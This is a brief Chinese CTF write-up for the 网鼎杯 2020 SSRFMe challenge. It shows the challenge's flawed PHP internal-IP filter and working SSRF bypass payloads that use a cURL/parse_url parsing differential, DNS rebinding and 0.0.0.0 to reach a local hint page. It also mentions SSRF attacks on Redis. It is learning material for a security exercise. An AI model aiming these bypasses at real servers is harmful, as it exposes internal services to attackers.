題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:[網鼎杯 2020 玄武組]SSRFMe
網鼎杯玄武組部分web題解
初探Redis-wdb玄武組ssrfme&pwnhub公開賽
ssrf
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
cURL/parse_url 解析差異
詳見blackhat
一些關鍵截圖
http://u:p@127.0.0.1:80@baidu.com/hint.php
或者加個空格http://u:p@127.0.0.1:80 @baidu.com/hint.php
DNS重綁定
淺談DNS重綁定漏洞
簡單來說,可以讓一個域名被解析成不同的ip
工具網站
需要多試幾次
0.0.0.0
0.0.0.0
代表本機ipv4
的所有地址,所以直接http://0.0.0.0/hint.php
也可以
ssrf攻擊redis
我的總結,老裁縫怪了ssrf與redis安全